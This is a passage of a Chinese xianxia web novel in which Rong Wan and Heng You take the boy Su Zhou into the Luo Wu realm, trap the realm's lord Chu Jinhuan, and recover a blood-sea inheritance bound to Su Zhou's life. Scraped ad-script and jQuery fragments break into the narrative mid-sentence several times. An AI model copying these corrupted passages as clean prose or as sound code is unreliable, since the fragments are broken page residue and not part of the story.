行道问仙 几道灵识从落乌界各处收回,容晚一笔笔划掉已近废弃的遗迹。 “衡游,总不至于一处都不曾有吧。”容晚眼神落在衡游怀中的小夙昼,垂着眼皮叫人看不出在想什么。 “呃……起码上因界藏书说的就这些地方,我上次来落乌界还是你和褚……那谁交换的时候。”衡游左手换右手,右手换左手,最后拎着小夙昼的衣领把奶团子挂在手里。 “我没进过落乌界的藏经殿,你知道,上次我连一晚上都没呆够。”容晚把疆域图扔还给衡游,俯身与身形不高的小夙昼平视,问,“你父母有告诉过你吗?” “什么?”小夙昼一愣。 “传承。”容晚又补充说,“嫡系才有的。” “不知道。”小夙昼仔仔细细地回想过从小到大的记忆,从不知道自家有什么留在落乌界的遗迹。 “这小子家里的传承?”衡游似乎意识到什么,从灵境中翻出一只小巧精致的寻灵盘,其上印刻繁复的灵纹。 小夙昼被衡游塞进容晚怀中,他面上不爽的情绪总算是消散一些,挂着容晚的脖颈,乖乖巧巧地依偎在她怀里。 而容晚拒绝了一路,此刻抱着小夙昼的原因,是她寻踪一术的修习向来不如衡游。 “嘶……”小夙昼痛呼。 衡游手起针落。 一滴鲜红的血落入寻灵盘,血丝游走延长,兜兜转转浮现一条灵径。 “找到了。”衡游原地兜了个圈,找准方向后,问,“我们骑灵凰去有些招摇吧……” “当然了。先入界,落乌界的规矩和我们一样。”容晚一手拿过寻灵盘,又把小夙昼塞给衡游。 “不是,我说这小子非得要人抱吗?”衡游哀叹一声,“他不能自己走吗?” 容晚冷静地陈述事实,“我们要带着他赶路,变小一点省得两个人压死一只灵凰。” “你不是说不骑吗?” “哦,我的灵牒只能过两个人。” “……” “十把剑。”衡游把小夙昼抱在怀里,语气十分幽怨,道,“不然我现在回去,你们就两个人了。” “那我分不出心打架。衡游,你实战不如我。” 衡游暗自咬牙,咽下心口不舒的气。 对,实战不如她。 却又不是样样不如她。 “那我还请求你,好好保护我。” - 为躲过上因界仙官的视线,容晚他们从人间界与落乌界的交界入界。 本来不必花费这么多力气。只是凡人之躯入落乌界,便如美味佳肴入虎狼之口,其中妖魔鬼怪凶狠只是其一。 其二则是落乌界主城中心,有一座硕大的生魂盘。凡是生魂入落乌界,皆会亮起一颗光点,每隔六个时辰更新位置。 简单来说,他们一行入界后,便会立刻暴露夙昼的位置。 容晚走在最前方,拿出灵牒时,只听守界的乌卫倒吸一口凉气,恭恭敬敬地俯身行礼。 守界处的长无边际的影铃叮叮当当地响,领头的乌卫长像一道幻影般冲来。 乌卫长手中捧着一本灵簿,一边勾画着什么,一边说,“仙上,我等恭候您许久了。” “……”容晚默默把灵牒揣进袖中,“我想尽快入界。” 谁能知道落乌界的灵牒换了一批,她偏偏拿出来才发现同旁人的不一样。 衡游在传音灵径中悄声问,‘不能硬闯吧?’ ‘当然。’容晚目光冷厉地望向乌卫长,“我……” 容晚目光忽然柔下来,温声道:“我想给你们君首一个惊喜,可否先不回禀他?” “这样吗?”乌卫长手势一顿,撤了即将发出的传书,“那仙上请。” 乌卫长的视线紧紧黏在容晚一行人身上,踟蹰片刻,传书上换了个说法,越级上传到落乌阙。 君首收到传书约莫不过一个时辰。 灵牒会指引仙上的方向。 - “这玩意能丢吗?”容晚盯着手中的墨色灵牒,迟疑不已。 曾经她和褚尽欢以灵牒为媒,跨界传书,甚至可以隔空传物,其中必有特殊的落乌界印记。 或许褚尽欢已然发现她了。 “别吧。”衡游知道容晚在担忧什么,只是落乌界中横跨各个分域还是需要灵牒。 他们在此寻找遗迹的消息漏出去倒无所谓,若是硬闯分域便是给了落乌界光明正大的理由追捕三 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 灵混体。 那绝非他们所求。 容晚层层禁制落下来,只希望封得住这枚灵牒,迫不得已需要时,解开便是。 她指尖幻化出一根流动的银线,轻轻挽在夙昼手腕上,“记住了,银线会随时间消失,六个时辰为一次。” “嗯。”小夙昼忽然问:“我会被发现的,为什么还带着我?” 容晚垂眸看了小夙昼一眼,他书读得甚多,了解落乌界的生魂盘是情理之中。 “为什么现在问?” “万一不带着我了……”小夙昼声音很闷。 若是在上因界问,她若是真的丢下他,他也不能说什么。无非是又被捉起来,或者是被容皓偷偷杀掉。 一丝狠厉在小夙昼瞳中飞速划过,他扬起唇说,“和姐姐在一起,我才能活。” 活着,才能修行。 足够强大,才能杀了容皓和褚尽欢,以及所有该杀之人。 在变强之前,他需要足够乖巧、足够听话。 直到所有人觉得他是个好人。 容晚见他久久不曾回答,耐着性子解释道:“这里虽然麻烦些,也更危险,但总归是在我身边。你怕吗?” 关于夙家遗迹一事,成功与否还不得而知,她选择隐瞒下来。 “不怕。”小夙昼坚定地望向她的眼睛。 在这种时候,除了容晚不会有人护着他。至于那个成天呲着牙傻笑的衡游,不过是看在容晚的面子上照顾他。 想到自己正被衡游抱在怀中,小夙昼嘴角一抽。 罢了……只要衡游和夙州血案没有关系,那他自然会好好报答。 不过多半个时辰,他们绕过几处分域,避着守卫寻了条罕见无人的山道,唤出灵凰大摇大摆地往前骑。 衡游正在纠结着要不要上层隐匿术,想了想还是一层层地咒术覆盖在几人身上。 他心满意足地抱着灵凰的脖子,身后的夙昼揪着他的衣裳坐得一晃一晃。 除非遇见褚尽欢,不然他的咒术可没谁能识破。 远处的山道上忽然传来一声麒麟兽的长啸,只是这声音有些熟悉。 就好像是…… 褚尽欢那头叫什么乖乖的。 16. 行道问仙 “衡游!收灵凰。” 容晚从灵凰上轻巧地跃下,揪着夙昼的衣领拎他下来。 灵凰扑棱着翅膀,三下五下把衡游赶下去,发出舒服的长叹。 “还是这么怂。”衡游趔趄几步,没等站稳,赌气抓了一把灵凰的羽毛。灵凰怒目圆睁,没同衡游计较,转瞬钻进灵境中。 “为什么?”小夙昼立于容晚身侧,牵着她的衣袖。麒麟与灵凰并不相食,夙昼也从未在书籍画册中看见过相关的秘闻。 “小时候不懂事。”容晚瞳孔微缩,脸上浮现出尴尬的神色,她轻轻地咳了一声,道,“牵着墨麒追过一群灵凰。” “追?”衡游甩掉手上的羽毛,哈哈大笑,“何止是追?哈哈哈……” 忽然一道传音从灵径里传来—— 容晚:‘不跑吗?’ 衡游:“?” 回头时,容晚已然带着夙昼钻入山道旁的密林,几层结界落下来。衡游刚张口,瞥见不远处的人影后乖乖闭嘴。 来人虽只有一个,却可抵千军。 墨麒威猛雄壮地迈步而来,其上着玄色衣裳,肩披黑色大氅的褚尽欢遥遥冲他扬起下巴,“大名鼎鼎的衡游上仙,孤身入我落乌界有何贵干啊?” 斯斯文文的问法,却是桀骜不驯的眼神。褚尽欢在“孤身”两个字上落得极重,他的眸光在衡游身上只停了一瞬,环视一周后没察觉容晚的气息。 “回君首,小仙回家,看望母亲。”衡游指尖飞速地敲击着腰侧的刀鞘,忽然停住手。 怎么一紧张,他偏偏学着容晚思考时的小动作。 “哦,是了。”褚尽欢似乎恍然大悟,语气微微一沉:“仙上是我落乌界中人,本君事务繁忙,险些不记得了。” “劳烦君首记挂哈。”衡游客客气气地赔笑。 褚尽欢没了耐心,脸色一变,“也是,你父亲在上因界声名显赫,仙上不愿意留在落乌界是自然的。” 衡游:“哪里话,哪里话。” “只是……”褚尽欢把玩着手中的一道墨色灵牒,颇为好奇道,“仙上入界为何不用自己的灵牒?来人,把他抓起来。” 话音一落,密林中飞出数名随行乌卫,密密麻麻竟有上千之众。 其中最近的卫队距容晚不过数尺,长.矛弯刀几近刺于结界边缘。容晚止住呼吸,另一手捂着夙昼的口鼻,递过去一道传音。 ‘自己待一会儿,遗迹那里,衡游会带着你。’ 夙昼眼皮垂下来,他颤抖着手抓住容晚的手臂,轻轻摇头。 “哎!我好歹算你们仙上半个同门,何必如此!何必如此?”衡游拔出直刀,剑风凌厉,动可削尘,颇有几分容晚之风。 ‘相信他,就像相信我一样。’容晚眼中闪过一丝疑虑,最终什么也没说。 乌卫层层包围,他们搜得极为仔细,眼见撞上容晚设下的结界时,容晚身形一散,细碎的光辉落于衡游身侧。 ‘带他去找遗迹,我会拖至第六个时辰。’ 初见夙昼时他防备不已,望向衡游的目光总是像牙未长全的狼崽防备猎物。容晚嘱咐道:‘他若不听话,你看着收拾,不必留情,活着就好。’ 几道剑光袭来,容晚身落于褚尽欢眼前,眼前的长睫微微颤动,“找我?” “非也。”褚尽欢心满意足,险些憋不住笑,“衡游,卿还不回故土拜见母亲?” 衡游小心翼翼地看了眼容晚,扯谎说:“我掉了东西,得找找……” 褚尽欢:“可用本君助卿找找?” 衡游:“不了,不了。” 褚尽欢:“本君此处八千乌卫,百里内更有上万大军,找什么找不到?” 衡游:“……” “好了。”僵持不已的情况下,容晚打断两人的对话,“你不是要看惊喜吗?” “自然。”褚尽欢朗然一笑,朝容晚伸出手,“给我看看?” “不在这里。”容晚眼神催促着衡游,微微点了下头,道,“在藏经殿。” 褚尽欢一怔,“好啊,去看。” 藏经殿能有什么惊喜,枯燥无味的书册典籍,有什么可惊喜的。 他摩挲着那枚扳指,轻蔑地笑出声,“容容可要与我共骑……” “够了。”容晚冷声道,“我带了灵凰。” “那小东西?”褚尽欢道,“怕不是被我的乖乖吓得翅膀都扇不动?” 墨麒及其配合的长吼一声,在容晚不悦的目光中戛然而止,撇着兽嘴吹了吹爪上的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 灰尘。 “别吓得我的灵凰摔了下去,命都没有了还怎么惊喜?” 容晚语出惊人,褚尽欢拍了拍墨麒巨大的兽头,“听见了?她叫你别吓着灵凰。” 墨麒委屈得哼叫几声,直直盯着容晚。 褚尽欢手一抬,玄甲乌卫尽数撤散,山道上寂静地能听见风声。衡游在各个草丛里左翻右翻,额上几滴冷汗落在地上。 自从小时候被褚尽欢摁在地上揍过百回,衡游一见到他便犯怵,哪怕如今他已位列第三上仙,对上褚尽欢可过百招,全身而退。他还是犯怵。 目光忽然落在容晚结界处,衡游察觉到少年的气息,他手腕上方才也被容晚拴上了一根极细的银线, 如今只余四个时辰多上一些。 “咳!咳——”衡游暗示之意分外明显。 “再不走,便动剑了。”容晚面上毫无情绪,指尖捏起剑诀。 躲在结界中的夙昼眸中一惊,抚摸着自己腰侧的玉牌,不晴剑在此。自赠剑之日起,不晴剑与容晚再无关联。 没有这把剑,她会输吗? 褚尽欢作为落乌界君首,命剑是与上因剑齐名的落乌剑。创世以来,天下诸剑皆受三柄震界名剑压制,落乌剑剑锋若出,容晚胜算未知。 “行。”褚尽欢一笑,“你说走我们便走。” 容晚示意衡游放出一只灵凰,还好几乎大有效用的东西都留在衡游的灵境中。她朝衡游抬了抬手腕,翻身上了灵凰。 灵凰振翅飞天,远远地躲开那只墨色麒麟兽。它年岁不小,当年之事历历在目,不躲远掉等着被薅秃羽毛。 墨麒的眼神中闪出兴奋的神色,雀跃着就要往上追。褚尽欢望向容晚的背影,轻拍了一下兽头,“可以追。” 目送着两人离去,衡游立刻去找夙昼。夙昼久碰不破的结界一感知到衡游,层层散去。 “四个时辰。”衡游催促着少年上灵凰,“快点。” 见少年好久没动作,衡游正捏诀将他变小,夙昼冷声说:“她不在,我自己骑。” 夙昼周身气势陡然一变,那双冷厉的眼睛望向衡游。 “啊?”衡游望着少年的身形一愣。 就好像,从前的乖巧和懂事,什么都是装的。 17. 行道问仙 回落乌阙途中,灵凰被一路狂追,眼见追上时,如闪电般闪身钻入容晚灵境。容晚悬于云霞之中,在游水和墨麒间,果断选择墨麒。 墨麒自作主张,朝容晚俯冲而来。褚尽欢挪过去一点,容晚并未领情。她扶着墨麒的颈背一跳,站于它左爪之上。 褚尽欢轻拍墨麒,唇边笑意若有若无。墨麒得令极速冲出漫天云霞,冷风扑面,容晚索性闭眼而坐,不动声色地扣了一块隐秘的鳞片。 穿云破风的墨麒猛然一痛,停在空中,往下落了数丈。褚尽欢坐相极为文雅,没料到这一变故,竟是被甩出去。 再一抬眼,容晚立于墨麒身上,笑意盈盈道:“戮君灵力强大,想来跨海回落乌阙不过片刻,容晚先行一步,煮茶而候。” 褚尽欢:“……” 容晚轻拍兽头,墨麒无意识冲出百丈,感受到身后那道冰冷的视线,猛然回转时。容晚攥住墨麒的兽角,指尖摩挲着它颈处的鳞片,“送你一只灵凰。” 墨麒:“?” 它小心翼翼地转回兽头,轻声嗷叫一声,眨眼间消散于褚尽欢眼前。 行至落乌阙约莫半个时辰,在墨麒的陪伴下,容晚直入藏经殿,吩咐侍书煮茶。 墨麒亦步亦趋地追随在她左右,一如室内,墨麒身形缩小不少,过于碍事。 一双冷漠的兽眼中闪着晶亮的光,宛如在说,“说好送我灵凰,不能不给”。 “不许吃掉,不许送人,就像……养崽崽一样。”容晚从灵境中摸出一颗灵凰蛋,塞进墨麒宛如雄狮的兽头下,“自己孵蛋。” 墨麒:“……” 和衡游灵径传音之后,她拿着墨麒颈上的乌金灵牒,借着褚尽欢的由头,借调遗迹相关的所有书籍图册。 ‘衡游,你要借什么书吗?’容晚逛到草药医经,还有蛊虫毒草一类的画册旁,随手抽了几本。 ‘行,你看着……哎——’衡游那边突然失去声音。 ‘衡游?’容晚急切地唤他。 估算着褚尽欢将回,容晚调出所有衡游可能需要的书册,全部借回。藏经殿的书册调阅同上因界无二,借调后自有同样的书册补上。 墨麒的灵牒等级极高,又因为它是只麒麟兽,自打造以来,从未被查验过。 故而褚尽欢很难发现。 如容晚所料,褚尽欢极其重视脸面身份,被墨麒撇下后,自然不会就近召乌卫灵兽。 等他独自赶回时,过了约莫有一个半时辰。刚好够容晚调阅书册,新煮一壶上因界的春茶。 褚尽欢一进藏经殿,肃杀的气息袭来,藏经殿的侍书掌灯齐齐行礼,待褚尽欢一经过,隐入暗处。 感受到褚尽欢的杀气,墨麒又缩小一分,整个兽头埋入容晚怀里,兽角兽爪颤抖地不行。 “滚出去。”褚尽欢低吼道。 墨麒一颤,往容晚怀里缩了三分,又变小三分,同那只灵凰蛋差不多大。 “乖乖?”褚尽欢轻唤。 墨麒一抬头,又听见他极其随和的声音,“你这么喜欢这颗蛋,跟着她回上因界?” 墨麒:“?” 它的爪爪推了下容晚的手腕,轻声哼唧一声,从她膝上跳下,动如闪电般溜出藏经殿。 “戏耍我?”褚尽欢问。 “嗯。”容晚为他斟茶。 褚尽欢嘴角抽动了下,想出言讥讽,却接过茶什么也没说。 “想看看惊喜?”容晚接过他喝尽的茶盏,侧身指向藏经殿那盏九转十二纹龙灯架,“那里。” 等褚尽欢走过去,她指挥他转动特定的灯烛。 容晚看向他,褚尽欢竟然换了身衣裳才来藏经殿,因此比她预想中慢了三分。 他向来爱穿玄色衣裳,再着就是近黑或者深灰。此时身上的衣袍同上一件极为相似,仅是隐秘的暗纹不同,衣领袖口处坠着精致的银饰。 曾经最是讨厌掌灯的褚尽欢如今小心翼翼地转动灯烛,生怕多转或少转三分。 明明知道是谎言,他还是有些期待那可能存在的惊喜。 最后一支灯烛被转动。 容晚看见他眸中深藏的欣喜,指尖蜷了一瞬,又松开。 想到衡游和夙昼此时的险境,她果决地捏出灵诀。 漫天金光自纹龙灯架处迸发,在金色密线和灵龙法相中,容晚望见那个身披金光的男子。 以及他眼中滚烫的热意, “骗我?”褚尽欢五指弯曲,强扣于灯架之上,他在破阵,指尖却被灼烧得如同黑碳一般。 “没有。”容晚再捏出一个灵诀。 层层金光密织细排,穿过他身体的每一寸每一丝,困得他不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能动作。 “法阵之下,有三千密室,其中一间里是你曾经想要,我曾经想送的惊喜。” 褚尽欢一怔。 “别再执着了,师兄。”容晚像过去每一次同他行师门之礼那样,俯身一拜,“师兄当年不是戮君,我也不是仙上,可以凭心意行事。如今……那一场火,再不会有第二次。总有些人,你杀不了,拦不住。” 离开藏经殿时,容晚同侍书撒谎,褚尽欢在此闭关,三日后出。 落乌界有些资历的灵官皆认识容晚,又看麒麟兽随她左右,自然不曾怀疑。 墨麒眼巴巴地盯着容晚。容晚知晓它的意思,它想和她走。 从前褚尽欢生气时,在外人面前斯文儒雅,人后毫不压抑暴戾的心性。虽说他不残暴杀人,却心狠手辣。墨麒因她犯错,不失性命也要被丢进杀域。 “跟了他这么多年,想跟着我也行。”容晚俯身抱起墨麒,带着它光明正大地离开藏经殿。 墨麒的脚程比灵凰快上百倍,容晚循着衡游最后给她的位置,径直赶往。 这里是一处暗黑无光的墓林。漆黑的魔鸦尖锐地嘶叫,裹挟着杀意朝容晚袭来。 她一抬手,灵气化刃,百千细小的灵刃破出密林,魔鸦一只只坠落,如死寂静的墓林中陡然热闹起来。 墓碑上的灰尘极重,容晚拂去后看见墓主之名,是夙家旁系的一位家主,故去于千年前。 她记得夙家的历代墓林在人间界的桃山之上,夙州血案后,雪落千山,万千尸骨就地掩埋,凡雪落之处,全域自封。 容晚本想以灵力掩埋尸骨,不晴剑杀人等同容晚杀人,再加一条“插手人间界中事”的罪名也无伤大雅。 可是夙昼拦住她,什么也不曾解释。 …… 循着地上的血迹,容晚停留在一处无名墓穴前。大开的石门里,衡游正歪斜地躺着,被诡异的数枝缠绕地不能动弹。 容晚救出他,设下结界,便往墓室里寻。 穿过冗长的密道,容晚惊觉诡秘的杀气,再往里,是一望无涯的血海,其间尸骨遍布。 而她寻觅的少年,此刻浮于血海之上,双眸紧闭,墨黑与血红的灵纹缠绕他的身体。 原剧情中,这是他成为反派的第一日。 命运,永远指向注定的结局。 18. 白日将尽 血雾弥散,无风无浪的血海泛起涟漪。 其间的少年素衣染血,原先鎏金的纹饰浸染血气。上因界的鎏金素衣,纹饰即如灵器。夙昼身上这件,已是内门弟子连升仙阶后方能领取的殊荣。 都是碧落的心思,她认为容晚看重夙昼,故而她自己是何品阶,夙昼衣食住行的品阶便在她自己之上。 此时,夙昼原本如仙如雾的层层衣摆尽碎,浸染在血海之中。 如藤如蔓的鬼魅灵纹从他的心口爬至四肢。 浑身皆是细小的伤口,血流不止。 容晚捏诀破阵,指尖的风刃劈向血海。 繁密灵阵乍现于血雾之间,激起一阵血风,如刀如刃般迸发。 那一道风刃化为成百上千倍反击于她。 容晚闪身一退,直至退到密道中,血海的波浪渐渐平息,就好似无事发生。 唯有偶尔“咕噜”的声响打碎死寂,那是血海在吞噬尸骨。 方才只有一瞬,容晚却看清楚灵阵的玄妙。 每一寸被吞噬的尸骨化为血气,顺着灵阵灵径源源不断汇入阵眼。 正是夙昼所在。 仔细盯看方能察觉,墨黑与血红的灵纹极速地流转,猩红血灵顺着四肢百骸汇入他的身体。 明明夙昼面无表情,容晚却觉得他在挣扎,好似两道灵力在争抢他的身体,亦或是他这个人。 破阵不难,不伤及夙昼却是难题。 容晚微微咬唇,密道外睡死的衡游偶尔从传音灵径中传出几道沉重的呼吸。她发誓,自己从未后悔过不好好修习医术之道,如今却猛然想起,当年那次授课,时任仙长讲到仙人魔身体之异和体内灵脉走向时,她低着头帮衡游补画铸剑一门的灵器制图,一个时辰做了十三张灵器图。 唯独没有一眼望向那副流转循环的灵图。 向灵境中一望,浩如烟海的书籍画册,混合着上因界和落乌界两界藏书,容晚连书册序列都分不清楚。 偏偏知道的那人如何都不醒。 灵境中的墨麒嗅到满地的血灵,趁着容晚查看灵境,一跃而出,扑向那片血海。 它翻腾着打了个滚,潜入血海中,不过几息,捞出一颗墨色与红色纠缠不已的琉璃珠。 那颗珠子雀跃着要逃出墨麒的爪下,被它死死按在地面。墨麒冲着容晚歪了下头,哼哼唧唧的声音里,容晚明白它的意思。 这颗墨红琉璃珠是灵阵之眼,灵力捏碎便可破阵。只是,其间颜色纠缠,即是夙昼体内的灵脉纠缠。 强大的力量在夙昼体内横冲直撞,他却与这颗琉璃珠同生同死。 碎珠破阵,明明只需一动指尖的事,容晚握着那颗琉璃珠没有动作。这颗琉璃珠应当就是师父所说的夙家嫡系传承,却是妖魔一道,而非仙途。 掌心似乎传来夙昼的心跳,其实这一刻,她确实将他的心握在手中。他的仙途大道取决于这颗墨红琉璃珠。 珠碎有路,珠存无门,再难问仙。 容晚立于夙昼眼前,隔着血海风雾,望向他额间将现的印记。若是道心在己,问仙问魔便当自己来选,容晚轻轻地把琉璃珠攥在手心。 再无碎珠之意。 这一瞬,血海上风静浪止,容晚掌心中,那颗琉璃珠不再同心脏般跳动,却像是一道道绵长的呼吸。 容晚长睫微垂,掩去瞳中神色,额间仙印细微地闪动。 一只灵鸢自灵境中放出,容晚驱使着它横跨血海,果然再无阻碍。 容晚踏入血海之上,如履平地,血水不曾污染她的衣裙,其间沉浮的尸骨为她让路。 一步步走到夙昼眼前,容晚指尖轻握他的腕间。 他跳动的灵脉如同那颗琉璃珠一般,绵长呼吸同那颗琉璃珠一般。 “夙昼,还装吗?”容晚轻声问。 迟迟没有回答。容晚五指微张,灵力涡流在她掌心流转,琉璃将碎碎之际,无边无涯的血海消失殆尽。 原本浮于血海上的夙昼,此刻静跪于她的身前,双眸紧闭,无呼无吸。 只有那颗如心的琉璃珠,一下一下地跳动。 - 她有杀我之心吗? 从夙州雪夜至今,她次次救他。夙昼却总觉得,那不是这位上仙的本意。她好似被束缚住一般,要借着他打破不知是何的牢笼。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夙昼紧闭双眸,心跳猛烈跳动着。 起码上一刻,她想碎掉那颗“心”,却不知为何停手。 熟悉的茶香弥散在身侧,夙昼轻轻动了下嘴唇,“姐姐。” “缘何至此?”容晚轻声问。 冷清的声音落入耳中,夙昼睁眼望她。她一身上下极少有绚烂色彩,如今那颗墨红琉璃珠在她掌心,随着他的心跳而跳动。 正要开口时,容晚的声音落下来,带着呵斥之意,“不要撒谎。” “我……”夙昼垂下头。 “我问,你答。”容晚用力捏着那颗琉璃珠,却无动用半分灵力。 “好。” “为什么没杀了衡游?” 夙昼一愣。 他想过动手,最终却什么都没做。 “我猜中了?”容晚望向他的目光渐渐冷厉,语气仍是温和的。 先前容晚所问,夙昼或许不曾撒谎,因为当时容晚的问题是“落乌界的嫡系传承,你知道吗”,他说不知。 方才进入墓林时,善修阵法的容晚惊觉此处阴气极重,阴阳相生,那与此处墓林排布相反的、那处人间界桃山上的墓林便是阳阵。 如果夙州血案前,阳阵中的传承已然在夙昼身上,一切便昭然若揭。阳阵无阴阵催生,便是死阵,无人察觉,无人可知。 所以从一开始,他句句实话,却布下一场谁都不曾看破的局。 “你早就知道阴阳双生之阵,你在赌我一定会来落乌界,又一定会带着你。”容晚句句逼问,“甚至坠崖那日,仔仔细细算了王城巡猎的路线,赌我会入落乌界救你?” “然后……”她语气中有些破碎的雪意,“便是今日?问仙问魔从未有高低之分,何必呢?” “不!”夙昼猛然抬头,眸中澄澈,带有几分泪意,“我不知道,我不知道……” 他是知道阴阳双生之阵,却不知道他一身鲜血为何会凝为一颗墨黑琉璃珠,更不知道什么传承。 一入石室,血水朝他奔涌而来,吞噬他的呼吸和心跳。再醒来,见到容晚…… 他只是想…… 卑劣地试探她的杀意。 19. 白日将尽 “你还是想杀我?”容晚问。 雪夜初见,夙昼红着眼睛朝她刺来一剑,他句句含恨,每一寸目光都凝结杀意。 三界涡流,他被她救出,呛着水时还是朝她挥剑。 方才反击而来的千百倍风刃,也是他。 夙昼摇了摇头。 “那你在别扭什么?”容晚不再追问真相。 如果是注定的命运,夙昼是否真的算计一切也不再重要。 万幸,他没有杀了衡游。 “我……”夙昼咬唇,沉默几息,扬着一双澄澈的眼睛望向容晚,说,“担心是假的。” 他瞳孔中未散尽的血色仍在,明明凶得不得了,却像幼兽求饶般观察容晚的神色。 “什么是假的?”容晚一笑,“这颗琉璃珠?它与你同命相连,假不假你能不知道吗?” “我……”夙昼极其为难,接下来的话如何也说不出口。 久久不语又十分别扭,夙昼如此的原因容晚猜中七七八八。 无非是她给予他的偏爱是假的,又或者是一次次救他于为难是假的,也可能是在他身前的她,一言一行、一举一动都是假的。 “不是。”容晚回答。 闻言,眉眼微垂的夙昼,忽然抬眸,瞳中盛住细碎的光。 “救你回上因界,赠你不晴剑,带你入落乌界……你所怀疑的桩桩件件,皆是出于我本心。” “但是……”容晚举起那颗墨红琉璃珠,“你不该骗我,更不该自作主张。这一件事,该罚。” “好。”夙昼蓦然松出一口气,久悬于心的那种异动消散。 他一笑,微尖虎牙扬起。 下一瞬,一口鲜血自口中喷出。夙昼摇摇晃晃,整个人砸在容晚身上。 “我很开心。” 大概是第一次,他心满意足地闭上双眼,希冀着醒来的那一刻。 容晚:“……” 本来睡了一个,现在又昏了一个。 指尖在夙昼的肩膀微微敲了下,容晚满含笑意的目光落在墨麒身上,它退后了几步,却被容晚捉回来。 回程的路上,墨麒身形变幻巨形,两只兽角上分别挂了一个人。容晚坐在它鼻梁上,有一搭没一搭地和它说话。 墨麒一看她,便忍不住对眼,三人一兽全都晃了晃。 好在墨麒身份尊贵,是褚尽欢的麒麟兽,落乌界人尽皆知。他们一路畅通无阻。 上因界边境前,守卫遥遥瞥见一个黑影,转瞬之间,那黑影越来越大。正想回禀上级的守卫还未传音,一道白衣身影翩然而至,其人容貌风姿出尘绝世,额间一点仙印彰显身份。 “仙上。”守卫行过一礼,疑惑得望向容晚身后那只麒麟兽,以及被麒麟兽咬着缰绳牵住的两只灵凰,其上各有一人。 可这只麒麟兽颈上挂着乌金灵牒,分明是戮君爱宠。 “仙上这是戮君的那头?可是落乌界出事?”守卫问得小心。 容晚微微点头,“本就是我的。” 守卫:“?” 一路回到望春山,正在给灵植除草的碧落惊得口不能言,指着墨麒的指尖剧烈颤动。 墨麒曾经是认主容晚的灵兽无疑,后来容晚和褚尽欢分裂后,两人争抢无果,墨麒更是谁也不选。两难之际,两人在落乌界那处天坑里,约了一架。 那一架,起先两人不曾用剑,不分上下。褚尽欢忽然求胜心切,祭出落乌剑,凌厉剑光瞬息而至,两手空空的容晚输了。 高手对决,只在分毫。 虽说未曾约定不用剑,可容晚心气甚高,当下抽出墨麒额间的灵血,转身便走。 …… 这是碧落时隔多年第一次见她带回墨麒。 “三月未到,不必回。”容晚掠过碧落,引着墨麒往衡游的住处走。 “仙上,我是真的拗不过绯泉。”碧落急切解释。近些日子,她和绯泉一句话也不说,就算是哥哥,也不能决定她的事。 “我知道。”容晚将一昏一睡的两人挪到床上,“你这些年很少休息,上次容皓把你扣在禁狱,你应当受了惊吓。好在没受什么伤。” “我不想休息。”碧落委屈道。 既然碧落 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如此要求,容晚不再强求,指着衡游说,“喂他一颗……就上次夙昼昏睡时他炼的那一瓶灵丹,衡游醒了喊我。” “是。”碧落转身便去药橱寻药。 容晚替二人查看过灵脉,虽说她医术之道不精,倒是懂一些常识。衡游只是沉睡未醒。夙昼不曾受伤,只是体内撕扯的两股灵力有些危险,衡游醒来再看尚且来得及。 况且……夙昼现在的情况,容晚不确定这颗琉璃珠会带来什么影响。 同心琉璃珠,一定比三灵混体更惹容皓忌惮。 喂过了药,衡游转醒后,第一时间跳起来,掐住夙昼的脖子,怒气冲冲地骂道,“这小子玩我呢?那个红得像鬼的玩意儿扑过来,亏我还护着他,结果……” “那玩意不杀他,他居然拉了我一把?我差点死在里面,恶心死了。” 容晚没有阻拦衡游,他指下一分灵力都不曾用,想来是最后一刻被夙昼推了出来。 “你怎么被捆住的?”容晚问。 “他是不想杀我了?那个红鬼想啊。”衡游仍有些心悸,“那东西差点冲出密道,我来不及跑。结果更邪门,我居然不自觉往里面走,趁着有意识,就种了棵缠绕藤把我捆在门口了。” “这样吗?”容晚拿出那颗同心琉璃球,“红鬼是这个吗?” “嗯。”衡游接过,灼烫的温度传来,掌心狰狞伤纹蔓延大片,他使出极大的灵力才将珠子脱手,“怎么你没事啊?” 那颗琉璃珠浮于空中,墨黑与鲜红的光芒微微闪烁,忽然朝夙昼窜去。 容晚伸手一抓,那颗珠子便在她的掌心跳动着,却只是温热,不曾灼热。 “这就是传承?好奇葩哦。”衡游默默使着灵药治愈灼伤,百般用药,却还是留下极淡的红痕,和夙昼全身上下的灵纹极其相似。 “他醒来,你可以揍。”容晚安抚住那颗珠子的跳动,偏头向夙昼,“衡游,你看看他,好像有了灵脉元灵,又好像连筋骨血脉都碎了。” 衡游不情愿地去探他的灵脉,半响后,他又犹豫着探了半响,轻轻吐出两个字,“奇葩。” 20. 白日将尽 “你是调侃?还是在赞美?”容晚把玩着手里的琉璃珠。 “都有。”衡游掏出一堆瓶瓶罐罐,以灵力揉成一颗极大的灵丸,捏着夙昼的下巴喂进去。 夙昼吞咽极为困难,半咽未咽时,衡游掐住他的脖子一晃,硕大的灵丸便吞了下去。 “你得去找一趟容皓。”衡游皱了皱眉,从灵境中翻出一本书册,翻到页数递给容晚看,“这小子当时强行拔出玄铁钉,灵脉元灵碎成渣,现在不知道哪来的传承又在融合灵脉。两股相冲的灵力便是容皓下的某种诡道咒术和这珠子在抗衡。” 诡道一术,从前为上因界和落乌界共创秘术,失传数千年。容晚无数次好奇过诡道一术的来源,虽说并不是什么秘密,但失传颇久的秘术被容皓习得便很奇怪。 更奇怪的是,顶级的诡道术往往能克制灵力强大的妖魔仙鬼。这也是容皓能做上仙门首座的重要缘由。 “我知道了。”容晚问,“还有别的事吗?我争取一次都办完。” 衡游俯身探了夙昼脚腕手腕处的钉痕。虽说皮肉愈合得完好如初,内里却是一片腐烂。 “挺能忍的。”衡游以灵针封住夙昼手足,指尖一划,皮肉翻开,黑血涌出,露出一个极深的血洞。 “之前没发现吗?”容晚脸色有些不悦。 